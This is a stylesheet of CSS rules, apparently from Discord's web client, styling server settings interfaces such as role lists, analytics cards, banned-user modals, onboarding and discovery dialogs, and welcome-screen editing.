.roleDot-1AlYXT { height: 12px; width: 12px; border-radius: 50%; margin-top: 3px; }

.roleDot-1AlYXT, .roleText-3gS02L { display: inline-block; }

.roleText-3gS02L { font-size: 14px; line-height: 18px; font-weight: 600; color: var(--interactive-active); margin-left: 8px; vertical-align: top; }

.container-32E5OD { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; text-align: center; }

.introBody-1Obw1p { margin-top: 8px; }

.button-31sMrX { margin-top: 16px; }

.divider-10WNM8 { margin: 32px 0px; }

.description-2lbkbS { margin-bottom: 16px; }

.section-2pJBpl { padding-top: 60px; padding-bottom: 80px; }

.helpText-2stV3Z { margin-top: 8px; }

.searchContainer-383_ld { margin-top: 32px; display: flex; -webkit-box-align: center; align-items: center; }

.createButton-3hBiU4 { margin-left: 16px; height: 34px; }

.rolesTable-3622Dd { margin-top: 32px; }

.tableHeader-3x_1oD { display: flex; margin-bottom: 8px; }

.tableTitle-36-jum { font-size: 12px; color: var(--header-secondary); text-transform: uppercase; font-weight: 700; }

.dragSpacing-3xep_M { -webkit-box-flex: 0; flex: 0 0 32px; }

.roleNameSpacing-XtjbtV { -webkit-box-flex: 0; flex: 0 1 273px; }

.memberSpacing-1zJbKJ { -webkit-box-flex: 0; flex: 0 0 112px; margin-left: 16px; text-align: right; }

.buttonsSpacing-3twfdv { -webkit-box-flex: 1; flex: 1 0 88px; margin-left: 16px; }

.emptyRoles-23F3oy { color: var(--text-muted); }

.emptyRolesText-gurxgN { margin-left: 8px; font-weight: 600; }

.emptyRoles-23F3oy, .roleRow-30TwGe { display: flex; -webkit-box-align: center; align-items: center; padding-top: 1px; height: 61px; cursor: pointer; }

.emptyRoles-23F3oy, .roleRow-30TwGe, .tableHeader-3x_1oD { margin-left: -32px; margin-right: -8px; padding-right: 8px; }

.roleRow-30TwGe { position: relative; border-radius: 4px; }

.roleRow-30TwGe::before { top: 0px; }

.roleRow-30TwGe::before, .roleRow-30TwGe:last-child::after { content: ""; position: absolute; left: 32px; right: 8px; height: 1px; background-color: var(--background-modifier-accent); }

.roleRow-30TwGe:last-child::after { bottom: -1px; }

.roleRow-30TwGe:hover + .roleRow-30TwGe::before, .roleRow-30TwGe:hover::after, .roleRow-30TwGe:hover::before { background-color: transparent; }

.roleRowDragging-3mvS_Z { background-color: var(--background-modifier-hover); }

.dragIcon-I74byJ { padding: 8px; cursor: grab; color: var(--interactive-normal); visibility: hidden; }

.dragIcon-I74byJ:hover { color: var(--interactive-hover); }

.dragIcon-I74byJ:active { cursor: grabbing; }

.roleNameContainer-2o4-eI { display: flex; -webkit-box-align: center; align-items: center; overflow: hidden; }

.shield-1-PEa- { margin-right: 10px; flex-shrink: 0; }

.roleIcon-374xNx { margin-right: 8px; }

.lock-XkLDU9 { margin-right: 4px; flex-shrink: 0; color: var(--text-muted); }

.roleName-1vjSQR { font-weight: 500; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.memberCountContainer-1BJFU2 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: end; justify-content: flex-end; height: 100%; color: var(--interactive-normal); }

.memberCountContainer-1BJFU2:hover { color: var(--interactive-hover); }

.person-36TQaZ { margin-left: 4px; flex-shrink: 0; }

.buttonsContainer-bgP7-t { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: end; justify-content: flex-end; }

.editButton-1V012_ { visibility: hidden; }

.circleButton-3RB01i + .circleButton-3RB01i { margin-left: 16px; }

.roleRow-30TwGe:hover:not(.roleRowDisableHover-1HiqqT) { background-color: var(--background-modifier-hover); }

.roleRow-30TwGe:hover:not(.roleRowDisableHover-1HiqqT) .dragIcon-I74byJ:not(.dragIconHidden-2HNIJ_) { visibility: visible; }

.roleRow-30TwGe:hover:not(.roleRowDisableHover-1HiqqT) .circleButton-3RB01i { background-color: var(--background-tertiary); }

.roleRow-30TwGe:hover:not(.roleRowDisableHover-1HiqqT) .editButton-1V012_ { visibility: visible; }

.containerDragAfter-1PIDLd::after, .containerDragBefore-s8CG6h::before { content: ""; position: absolute; z-index: 1; left: 32px; right: 8px; height: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-radius: 2px; box-shadow: rgba(0, 0, 0, 0.4) 0px 0px 3px; }

.containerDragBefore-s8CG6h::before { top: -2px; }

.containerDragAfter-1PIDLd::after { bottom: -2px; }

.tooltip-tUUTZz { text-align: center; }

.analyticsCard-qckucw { background-color: var(--background-secondary); padding: 16px; border-radius: 4px; width: calc(50% - 8px); position: relative; margin-top: 16px; }

.analyticsCard-qckucw:nth-child(2n) { margin-left: 16px; }

.analyticsCardTitle-5dObxl { margin-bottom: 8px; display: flex; -webkit-box-align: center; align-items: center; }

.analyticsCardTitle-5dObxl, .infoIcon-3dyWqH { color: var(--interactive-normal); }

.infoIcon-3dyWqH { margin-left: 4px; transition: color 0.25s ease 0s; cursor: pointer; }

.infoIcon-3dyWqH:hover { color: var(--interactive-active); }

.analyticsCardContent-3ggg9R { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-flow: row nowrap; -webkit-box-align: center; align-items: center; }

.analyticsCardNumber-2kz4gW { color: var(--interactive-active); margin-right: 6px; }

.analyticsCardNumberNotAvailable-22ULCX { color: var(--interactive-muted); margin-right: 6px; }

.analyticsCardArrowSubText-22xM8F { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; margin-top: 4px; }

.analyticsCardCornerIcon-3caFpX { color: var(--interactive-muted); position: absolute; right: 16px; bottom: 16px; }

.trendingArrow-18JKWi { margin-right: 5px; }

.trendingArrowIconDown-2dxvwE { transform: rotate(180deg); position: relative; top: 2px; }

.developerPortalCtaWrapper-Pxhnc3 { text-align: center; margin: 142px auto 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; width: 458px; padding-top: 76px; padding-bottom: 30px; position: relative; background-color: var(--background-secondary); border-radius: 8px; }

.developerPortalCta-28NeYX { margin: 20px auto 0px; }

.guildAnalyticsDivider-32l3nd { margin: 24px 0px; }

.overviewData-3iqxw4 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-flow: row wrap; -webkit-box-pack: start; justify-content: flex-start; margin-top: 14px; }

.placeholderImage-3IpaEU { background-image: url("https://discord.com/assets/f2a78cdd6471e760e88d1835e8b137d0.svg"); width: 282px; height: 160px; background-position: 50% center; background-repeat: no-repeat; position: absolute; top: -100px; }

.developerPortalCtaText-1Ly0WS { margin: 0px auto; max-width: 350px; }

.notEnoughMembersError-16EXyM { padding-right: 10px; }

.searchBar-18c-en { width: 400px; margin-left: 20px; }

.bannedUser-NmXCTd { position: relative; display: flex; -webkit-box-align: center; align-items: center; padding: 8px 0px; transition: box-shadow 0.1s ease 0s, -webkit-box-shadow 0.1s ease 0s; cursor: pointer; }

.bannedUser-NmXCTd .bannedUserAvatar-3FrYuW, .bannedUser-NmXCTd .username-3BOTya { z-index: 2; }

.bannedUser-NmXCTd .username-3BOTya { -webkit-box-flex: 1; flex: 1 1 100px; padding-left: 10px; }

.bannedUser-NmXCTd .username-3BOTya .discrim-3V3HXw { padding-left: 2px; }

.bannedUserModal-1aSxLo .header-2XbGPr { padding-top: 30px; padding-bottom: 40px; }

.bannedUserModal-1aSxLo .userDiscrim-24OuWY, .bannedUserModal-1aSxLo .userUsername-31SJuW { font-size: 24px; line-height: 20px; font-weight: 500; }

.bannedUserModal-1aSxLo .reasonHeader-176ak9 { text-transform: uppercase; font-weight: 500; }

.bannedUserModal-1aSxLo .content-2WW6Z0 { user-select: text; padding-bottom: 20px; }

.bannedUserModal-1aSxLo .error-2pToc- { margin-top: 8px; }

.theme-dark .bannedUser-NmXCTd { box-shadow: rgba(255, 255, 255, 0.04) 0px 1px 0px 0px; }

.theme-dark .bannedUser-NmXCTd .username-3BOTya { color: rgb(255, 255, 255); }

.theme-dark .bannedUser-NmXCTd .username-3BOTya .discrim-3V3HXw, .theme-dark .bannedUserModal-1aSxLo .reason-1aMBvL, .theme-dark .bannedUserModal-1aSxLo .userDiscrim-24OuWY { color: rgb(114, 118, 125); }

.theme-dark .bannedUserModal-1aSxLo .reasonHeader-176ak9 { color: rgb(220, 221, 222); }

.theme-light .bannedUser-NmXCTd { box-shadow: rgba(79, 84, 92, 0.04) 0px 1px 0px 0px; }

.theme-light .bannedUser-NmXCTd .username-3BOTya { color: rgb(79, 84, 92); }

.theme-light .bannedUser-NmXCTd .username-3BOTya .discrim-3V3HXw { color: rgb(185, 187, 190); }

.theme-light .bannedUserModal-1aSxLo .reason-1aMBvL, .theme-light .bannedUserModal-1aSxLo .userDiscrim-24OuWY { color: rgb(114, 118, 125); }

.theme-light .bannedUserModal-1aSxLo .reasonHeader-176ak9 { color: rgb(79, 84, 92); }

.card-FDVird { position: relative; }

.card-FDVird::before { content: ""; position: absolute; inset: 0px -20px -1px; border-radius: 5px; border: 1px solid transparent; opacity: 0; transition: opacity 0.1s ease 0s; }

.card-FDVird.active-nvdKfC::before, .card-FDVird:focus-within::before, .card-FDVird:hover::before { opacity: 1; }

.theme-dark .card-FDVird::before { }

.theme-light .card-FDVird::before { background-color: rgb(246, 246, 247); }

.noScroll-1bz0qe { padding: 0px; overflow-y: visible !important; }

.container-1AAEHW { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; width: 680px; height: auto; }

.sequencer-3wJRd3 { padding: 24px 12px; }

.innerSequencer-3Sw44U, .sequencer-3wJRd3 { overflow-x: unset; overflow-y: visible; }

.modal-1O3czN { overflow-x: hidden; width: 100%; }

.modal-1O3czN, .overviewSidebar-auQZeh { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.overviewSidebar-auQZeh { -webkit-box-pack: justify; justify-content: space-between; flex-basis: 192px; flex-shrink: 0; border-radius: 5px 0px 0px 5px; background: linear-gradient(180deg,hsl(254,calc(var(--saturation-factor, 1)*92%),53%) 6.65%,hsl(246,calc(var(--saturation-factor, 1)*82%),62%) 69.44%,hsl(239,calc(var(--saturation-factor, 1)*77%),66%) 106.24%); padding: 24px; overflow: hidden; }

.header-3ZTyOR { color: rgb(255, 255, 255); }

.closeButton-2qld4J { position: absolute; top: 12px; right: 0px; z-index: 2; }

.footer-23o2Cr { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-flex: 0; flex: 0 0 auto; }

.overviewSteps-3CfgAC { position: absolute; top: 50%; transform: translateY(-50%); }

.overviewStep-3J-jkA { display: flex; -webkit-box-align: center; align-items: center; margin-bottom: 16px; }

.stepTitle-1gjE2e { color: rgba(255, 255, 255, 0.6); }

.stepIndex-3rtpcw { border-radius: 50%; background-color: rgba(255, 255, 255, 0.3); color: rgb(255, 255, 255); width: 24px; height: 24px; margin-right: 8px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.selected-3AsYnC .stepTitle-1gjE2e { opacity: 1; color: rgb(255, 255, 255); }

.selected-3AsYnC .stepIndex-3rtpcw { color: var(--brand-experiment); background-color: rgb(255, 255, 255); }

.container-1a0SKt { min-height: 500px; }

.content-8hp7TM { text-align: center; }

.headerCaption-5VyDgh { color: var(--header-secondary); }

.form-Wrv68E { margin-top: 24px; }

.description-1XzlaN { margin-bottom: 12px; }

.icon-12887d { transform: translateY(3px); }

.header-1olYNB { margin-top: 20px; margin-bottom: 8px; }

.closeButton-2tP-tZ { position: absolute; top: 16px; right: 12px; }

.footer-3ZySJx { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; -webkit-box-pack: justify; justify-content: space-between; }

.checkboxOption-2KqgnR { margin-top: 16px; white-space: pre-line; }

.disabled-2sOg0h:active { pointer-events: none; }

.footerImage-2KxOYG { transform: translate(60px, 20px); }

.container-1LlSAN { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; text-align: center; }

.banner-TStSRW { position: relative; height: 236px; width: 100%; margin-bottom: 20px; }

@-webkit-keyframes floating-house-1HwvK5 { 
  0% { transform: translateY(0px); }
  50% { transform: translateY(-12px); }
  100% { transform: translateY(0px); }
}

@keyframes floating-house-1HwvK5 { 
  0% { transform: translateY(0px); }
  50% { transform: translateY(-12px); }
  100% { transform: translateY(0px); }
}

.image-3mPNid { animation: 3s ease-in-out 0s infinite normal none running floating-house-1HwvK5; z-index: 1; }

.sparkles-1LdLqw { position: absolute; top: 0px; left: 0px; width: 100%; z-index: 1; }

.guildDetails-2xUdm_ { position: absolute; display: flex; padding: 4px 8px 4px 4px; border-radius: 4px; background-color: var(--background-tertiary); -webkit-box-align: center; align-items: center; }

.guildDetails-2xUdm_.faded-2YDJDr { opacity: 0.4; }

.guildIcon-3iI1zf { margin-right: 8px; border-radius: 4px; }

.body-2ZI1Wr { margin-top: 8px; }

.separator-itTudA { margin: 32px 0px; width: 100%; border: none; height: 1px; background-color: var(--header-primary); opacity: 0.06; }

.features-2_XaGw { display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px; margin-top: 32px; }

.featureCard-1TcVMH { background-color: var(--background-secondary); border-radius: 8px; padding: 16px; text-align: start; }

.featureCard-1TcVMH em { font-style: italic; }

.featureIcon-g7w7y2 { background-color: var(--background-tertiary); border-radius: 50%; width: 40px; height: 40px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.featureHeader-3OeJE1 { margin-top: 16px; margin-bottom: 8px; }

.featuredText-3ddx6r, .infoIcon-1F_2LQ { color: var(--header-primary); }

.infoIcon-1F_2LQ { transform: translateY(3px); }

.button-1jWHuJ { margin-top: 16px; }

.twoColumnFormSection-1-zMC- { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.descriptionColumn-1HHF6v { flex-basis: 55%; }

.selectColumn-3zzlGE { flex-basis: 45%; padding-left: 40px; }

.firstSection-3Mb8Qc { margin-top: 12px; }

.formTitle-2fIo6H { font-size: 14px; margin-bottom: 8px; }

.divider-15Y9h0 { margin: 32px 0px; }

.description-1r_567 { margin-bottom: 8px; }

.upsellContainer-1G_YVf { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-radius: 8px; background-color: var(--background-secondary); margin-bottom: 20px; position: relative; }

.upsellContainer-1G_YVf, .upsellContent--qqwsl { display: flex; }

.upsellContent--qqwsl { border-radius: 8px 8px 0px 0px; padding: 16px 40px 16px 16px; }

.upsellFooter-LSx-FB { background-color: var(--background-secondary-alt); border-radius: 0px 0px 8px 8px; padding: 16px; display: flex; }

.upsellImage-2Hhieq { margin-right: 16px; }

.upsellHeader-3E0u4O { margin-bottom: 8px; }

.upsellButton-1biV_A { margin-right: 8px; }

.upsellClose-1vy8Pc { position: absolute; top: 12px; right: 12px; color: var(--interactive-normal); opacity: 0.5; cursor: pointer; }

.upsellClose-1vy8Pc:hover { opacity: 1; color: var(--interactive-hover); }

.closeButton-4FUxLM { position: absolute; top: 12px; right: 12px; }

.modalContents-eAxMSD { padding: 0px 20px 24px; }

.headerText-sweXCL { margin-top: 16px; }

.formDescription-30JriC { margin: 8px 0px 24px; }

.channelDescriptionWrapper-2-llqU { position: relative; }

.emojiButtonContainer-1zs7UV { display: flex; -webkit-box-align: center; align-items: center; position: absolute; left: 0px; top: 0px; padding: 10px; }

.emojiButton-RnHnJT.fullOpacity-Aigg8h { opacity: 1; }

.emoji-3oB8pJ { width: 20px; height: 20px; }

.input-2mfscc { padding-left: 40px; padding-right: 36px; }

.clearButton-2Z4uzf { position: absolute; top: 0px; right: 0px; padding: 10px; transition: opacity 0.2s ease-in-out 0s; opacity: 0.6; line-height: 0; height: 100%; }

.clearButton-2Z4uzf:focus, .clearButton-2Z4uzf:hover { opacity: 1; }

.clearIcon-onVMIA { width: 16px; height: 16px; color: var(--interactive-normal); }

.footer-35uF_2 { z-index: -1; }

.tooltip-2IG5MP { max-width: 150px; margin-bottom: 2px; }

.enableContainer-3morcZ { margin-top: 32px; padding: 16px; background-color: var(--background-tertiary); border-top-left-radius: 8px; border-top-right-radius: 8px; }

.iconCircle-2cPO8m { margin-right: 16px; border-radius: 50%; }

@-webkit-keyframes enable-2hGa7S { 
  0% { transform: scale(1); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

@keyframes enable-2hGa7S { 
  0% { transform: scale(1); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

.activeCircle-286X9U { padding: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.activeCircle-286X9U.animate-3ZfR4C { animation: 0.6s ease 0s 1 normal none running enable-2hGa7S; }

.editCircle-3C2GAg { padding: 5px; background-color: var(--interactive-muted); color: var(--interactive-normal); }

.enableDescription-32mDjC { margin: 0px 8px 0px 0px; }

.previewButton-oZ75Oc { margin-right: 8px; }

.previewContainer-1EyRlj { padding: 16px; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; background-color: var(--background-secondary); }

.icon-2upBsF { align-self: center; border-radius: 16px; background-color: var(--background-tertiary); margin: 16px; }

.welcomeHeader-11Eeto { text-align: center; }

.welcomeTitle-DuuXYe { margin-bottom: 8px; color: var(--header-secondary); }

.welcomeTitle-DuuXYe strong { color: var(--header-primary); }

.headerGuildBadge-3zZ3Cu { display: inline-block; margin: 0px 4px 0px 2px; }

.flowerStar-1PEEmx { display: block; }

.descriptionWrapper-3wyGCv { width: 100%; max-width: 440px; margin: 0px auto; }

.descriptionInput-1FOF3X { max-height: 64px; background-color: var(--background-tertiary); }

.descriptionInput-1FOF3X[placeholder] { text-align: center; }

.divider-19fFlO { margin: 32px 0px; }

.addChannelButton-2ligDH { margin-top: 16px; align-self: flex-start; }

.addChannelSubtext-21vuKK { margin-bottom: 8px; }

.welcomeChannel-HpqRfR { -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; cursor: move; display: flex; border-radius: 4px; background-color: var(--background-primary); margin-top: 8px; padding: 12px 16px; }

.disabledEmoji-3Hq41h { filter: grayscale(100%); }

.dragging-2BwmG6 { opacity: 0.5; }

.channelIcon-2_quIR { background-color: var(--background-tertiary); color: var(--header-secondary); padding: 4px; }

.channelIcon-2_quIR, .warningIcon-h1vxwo { border-radius: 4px; }

.channelDescriptionWrapper-38LuxY { -webkit-box-flex: 1; flex: 1 1 0%; margin: 0px 16px; }

.channelDescription-2NgcvW { font-weight: 600; }

.theme-dark .channelWarning-iz89i-, .theme-dark .warningIcon-h1vxwo { color: var(--text-warning); }

.theme-light .channelWarning-iz89i-, .theme-light .warningIcon-h1vxwo { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.welcomeDescription-3reEMw { margin-bottom: 56px; }

.exampleContainer-I8Et0j { position: relative; background-image: url("https://discord.com/assets/691cf187cd943ed81f043740606878e7.svg"); background-repeat: no-repeat; background-position: 50% center; background-size: cover; width: 100%; height: auto; background-color: var(--background-floating); border-radius: 8px; }

.header-3bin_S { color: var(--header-secondary); }

.header-3bin_S strong { color: var(--header-primary); }

.exampleModal-15EG1Q { max-width: 440px; margin: 57px 80px 57px 120px; background-color: var(--background-primary); padding: 16px; border-radius: 8px; }

.optionContainer-9c9DX9 { margin-top: 8px; background: var(--background-secondary); border-radius: 8px; padding: 12px; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.exampleWumpus-1Z-zGI, .optionContainer-9c9DX9 { display: flex; -webkit-box-align: center; align-items: center; }

.exampleWumpus-1Z-zGI { position: absolute; top: -30px; right: -20px; }

.wumpus-ECAACe { filter: drop-shadow(var(--elevation-high)); }

.tooltip-2EsOeP { box-shadow: var(--elevation-high); background-color: rgb(0, 0, 0); color: rgb(220, 221, 222); border-radius: 5px; font-weight: 500; font-size: 14px; line-height: 16px; padding: 8px 12px; }

.tooltipPointer-NcEnap { width: 0px; height: 0px; border-width: 5px; border-style: solid; border-color: transparent rgb(0, 0, 0) transparent transparent; border-image: initial; }

.inputWrapper-2Pwo9_ { display: flex; flex-wrap: wrap; -webkit-box-align: center; align-items: center; font-size: 16px; box-sizing: border-box; width: 100%; border-radius: 4px; color: var(--text-normal); background-color: var(--deprecated-text-input-bg); border: 1px solid var(--deprecated-text-input-border); transition: border-color 0.2s ease-in-out 0s; padding: 4px 8px; }

.inputWrapper-2Pwo9_:hover { border-color: var(--deprecated-text-input-border-hover); }

.inputWrapper-2Pwo9_:focus-within { border-color: var(--brand-experiment); }

.inputOuter-361qTb { -webkit-box-flex: 1; flex: 1 1 0%; }

.inputInner-17tuXL { background: none; border: none; padding: 4px; height: unset; min-width: 100px; }

.tag-2S-1By { flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; box-sizing: border-box; border-radius: 4px; margin: 2px; padding: 4px 4px 4px 8px; transition: none 0s ease 0s; background-color: var(--background-accent); color: var(--header-primary); }

.tag-2S-1By:hover { text-decoration: none; }

.closeWrapper-18oTVk { display: flex; -webkit-box-align: center; align-items: center; margin-left: 2px; }

.close-3skLOj { color: var(--interactive-normal); }

.close-3skLOj:active, .close-3skLOj:hover { cursor: pointer; color: var(--interactive-active); }

.disabled-3z2_aY { user-select: none; cursor: not-allowed; opacity: 0.5; }

.disabled-3z2_aY, .disabled-3z2_aY:hover { border-color: var(--deprecated-text-input-border-disabled); }

.theme-light .tag-2S-1By { background-color: var(--background-tertiary); }

.modal-28-6oZ { display: flex; -webkit-box-align: center; align-items: center; text-align: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; width: 400px; padding: 32px; overflow: visible; }

.image-3kXKTd { margin-top: -146px; animation: 3s ease-in-out 0s infinite normal none running discovery-anim-3nsIV0; }

.header-2cTU9t, .title-24-Ern { margin-bottom: 16px; }

.body-3klDhE { margin-bottom: 8px; }

.button-3lMJHb { margin-top: 24px; }

.root-1Kk1RQ { overflow: visible; width: 400px; }

@-webkit-keyframes discovery-anim-3nsIV0 { 
  0% { transform: translateY(0px); }
  50% { transform: translateY(12px); }
  100% { transform: translateY(0px); }
}

@keyframes discovery-anim-3nsIV0 { 
  0% { transform: translateY(0px); }
  50% { transform: translateY(12px); }
  100% { transform: translateY(0px); }
}

.card-B2gQB5 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 258px; width: 200px; overflow: hidden; border-radius: 8px; position: relative; }

.card-B2gQB5, .iconMask-3HK8-A { background-color: var(--activity-card-background); }

.iconMask-3HK8-A { padding: 4px; }

@-webkit-keyframes placeholderPulse-1QtKkv { 
  0% { opacity: 0.6; }
  50% { opacity: 0.8; }
  100% { opacity: 0.6; }
}

@keyframes placeholderPulse-1QtKkv { 
  0% { opacity: 0.6; }
  50% { opacity: 0.8; }
  100% { opacity: 0.6; }
}

.cardPlaceholder-1xzW84 { animation: 1.8s ease-in-out 0s infinite normal none running placeholderPulse-1QtKkv; }

.cardHeader-r-Jvg2 { -webkit-box-flex: 0; flex: 0 0 112px; position: relative; display: block; overflow: visible; margin-bottom: 28px; }

.splash-1MgIw2 { display: block; position: absolute; top: 0px; left: 0px; transform: scale(1); opacity: 0; }

.splash-1MgIw2, .splashImage-J6nmdf { width: 100%; height: 100%; }

.splashImage-J6nmdf { object-fit: cover; }

.splashLoaded-Pcawa3 .splash-1MgIw2 { opacity: 1; }

.guildIcon-2Ut8OT { position: absolute; bottom: -21px; left: 12px; }

.defaultIcon-1peBPD { background-color: var(--brand-experiment); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; height: 100%; width: 100%; }

.acronym-2l9CAt { color: rgb(255, 255, 255); }

.avatar-1OoccO { width: 100%; height: 100%; }

.guildInfo-48kdQ8 { -webkit-box-flex: 1; flex: 1 1 auto; position: relative; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; align-content: stretch; padding: 0px 12px 12px; }

.guildInfo-48kdQ8, .title-3k2Y9M { display: flex; }

.title-3k2Y9M { -webkit-box-align: center; align-items: center; width: 100%; font-weight: 600; }

.verifiedIcon-36bhnS { -webkit-box-flex: 0; flex: 0 0 16px; width: 16px; height: 16px; margin-right: 4px; margin-left: -2px; }

.guildName-1JIvw2 { white-space: nowrap; }

.description-3Wl3oo, .guildName-1JIvw2 { overflow: hidden; text-overflow: ellipsis; }

.description-3Wl3oo { -webkit-box-flex: 1; flex: 1 1 auto; margin: 8px 0px; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 3; }

.memberInfo-1Vvi4F { -webkit-box-flex: 0; flex: 0 0 auto; justify-self: flex-end; }

.memberCount-3JC7Lk, .memberInfo-1Vvi4F { display: flex; }

.memberCount-3JC7Lk { font-size: 0.75rem; line-height: 1rem; -webkit-box-align: center; align-items: center; font-weight: 600; margin-right: 16px; }

.memberCount-3JC7Lk:last-child { margin-right: 0px; }

.memberDot-2PZxi3 { border-radius: 50%; width: 8px; height: 8px; margin-right: 4px; flex-shrink: 0; }

.dotOnline-eYNqFY { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.dotOffline-3RObq0 { background-color: var(--text-muted); }

.cardDisabled-AlS0SF { opacity: 0.4; pointer-events: none; }

.cardSmall-4Hncd- { transform: scale(0.8); }

.theme-dark .card-B2gQB5 { box-shadow: var(--elevation-high); }

.theme-dark .iconMask-3HK8-A { background-color: var(--background-secondary-alt); }

.theme-light .card-B2gQB5 { box-shadow: 0 0 0 1px rgba(185,187,190,0.3),var(--elevation-medium); }

.modalContent-1BTtqh, .root-jIzNKG { overflow: hidden; }

.modalContent-1BTtqh { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; margin-bottom: 24px; }

.modalHeader-3xfYMm { overflow: hidden; }

.modalCloseButton-2F4HSc { position: absolute; height: 12px; width: 12px; right: 16px; top: 16px; opacity: 0.8; }

.modalCloseButton-2F4HSc:hover { opacity: 1; }

.header-3v9gFf { text-align: center; margin-bottom: 8px; }

.subheader-3ebB_a { margin-bottom: 24px; text-align: center; }

.previewCard-3CwSWN { height: 306px; width: 254px; margin-bottom: 8px; }

.subcategory-1chsF8 { flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; box-sizing: border-box; border-radius: 4px; margin: 2px; padding: 4px 4px 4px 8px; transition: none 0s ease 0s; color: var(--header-primary); }

.subcategory-1chsF8:hover { text-decoration: none; }

.closeWrapper-c4B2Bd { display: flex; -webkit-box-align: center; align-items: center; margin-left: 2px; }

.close-380jVa { color: var(--interactive-normal); }

.close-380jVa:active, .close-380jVa:hover { cursor: pointer; color: var(--interactive-active); }

.theme-light .subcategory-1chsF8 { background-color: var(--background-tertiary); }

.theme-dark .subcategory-1chsF8 { background-color: var(--background-accent); }

.container-3-pFZ7 { min-height: 500px; }

.content-1o7Vul { text-align: center; }

.headerCaption-3haDpm { color: var(--header-secondary); }

.form-2m4ULs { margin-top: 24px; }

.description-bzj26B, .header-2XAzal { margin-bottom: 8px; }

.header-2XAzal { margin-top: 16px; }

.checkboxTitle-2hgwWU { margin-bottom: 4px; }

.textArea-3J1uIA { height: 140px; }

.footerImage-m7cEwN { transform: translate(60px, 20px); }

.subcategory-UMWnwL { flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; box-sizing: border-box; border-radius: 4px; margin: 2px; padding: 4px 4px 4px 8px; transition: none 0s ease 0s; color: var(--header-primary); }

.subcategory-UMWnwL:hover { text-decoration: none; }

.closeWrapper-2c_qJ_ { display: flex; -webkit-box-align: center; align-items: center; margin-left: 2px; }

.close-2f9dv8 { color: var(--interactive-normal); }

.close-2f9dv8:active, .close-2f9dv8:hover { cursor: pointer; color: var(--interactive-active); }

.stepImage-gYsPHC { background-repeat: no-repeat; background-size: 80px; display: inline-block; width: 80px; height: 74px; }

.theme-light .subcategory-UMWnwL { background-color: var(--background-tertiary); }

.theme-light .checkImage-2gN02J { background-image: url("https://discord.com/assets/148f1855747994b4d58b685f8a36c591.svg"); }

.theme-light .tagImage-3wE3D5 { background-image: url("https://discord.com/assets/c84cb9e80bae3fc33ac8085581bc2246.svg"); }

.theme-light .pencilImage-OMOmY6 { background-image: url("https://discord.com/assets/261606ef80f1df34294a17e08b1db988.svg"); }

.theme-dark .subcategory-UMWnwL { background-color: var(--background-accent); }

.theme-dark .checkImage-2gN02J { background-image: url("https://discord.com/assets/b6193b9564ca0ecbbd1ed6b80f47646d.svg"); }

.theme-dark .tagImage-3wE3D5 { background-image: url("https://discord.com/assets/2c49cb0b019dc56e36e7ed5602c37aee.svg"); }

.theme-dark .pencilImage-OMOmY6 { background-image: url("https://discord.com/assets/8defbbe53b9bd1536fa6636bc2f0a835.svg"); }

.tags-3RwrMI { min-height: 100px; -webkit-box-align: start; align-items: flex-start; align-content: flex-start; }

.tags-3RwrMI.error-23AQ9u { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

